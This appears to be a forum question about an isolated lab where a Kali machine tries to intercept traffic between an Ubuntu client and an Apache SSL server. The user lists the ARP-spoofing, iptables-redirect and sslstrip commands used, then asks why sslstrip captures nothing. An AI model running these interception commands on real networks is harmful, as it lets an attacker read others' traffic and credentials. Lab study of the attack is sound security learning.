I have a LAN with 3 machines connected to a switch. Two machines run Ubuntu 15.04, one with Apache SSL installed which works as the webserver. Another machine also running Ubuntu serves as the client. The attacker machine runs Kali 2.0.
All machines have manual assigned IP addresses:
Client: 192.168.1.1 HW: 08:00:27:2a:ec:cc Server: 192.168.1.2 HW: 00:11:22:33:44:55 Kali: 192.168.1.3 HW: 08:00:27:fa:25:8e
I executed the following commands on Kali:
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
And then I run
sslstrip -k -l 8080.
Now I start the
arpspoof -i eth0 -t 192.168.1.1 192.168.1.2 arpspoof -i eth0 -t 192.168.1.2 192.168.1.1
The arp tables on the Client and Server have both been spoofed and contain the HW of the Kali machine.
I also have wireshark Kali running.
When now accessing the website from the Server with the Client with
https://192.168.1.2/test.html the website is displayed.
I can see all the packets for the SSL/TLS handshake on wireshark as well.
sslstrip does not display anything!?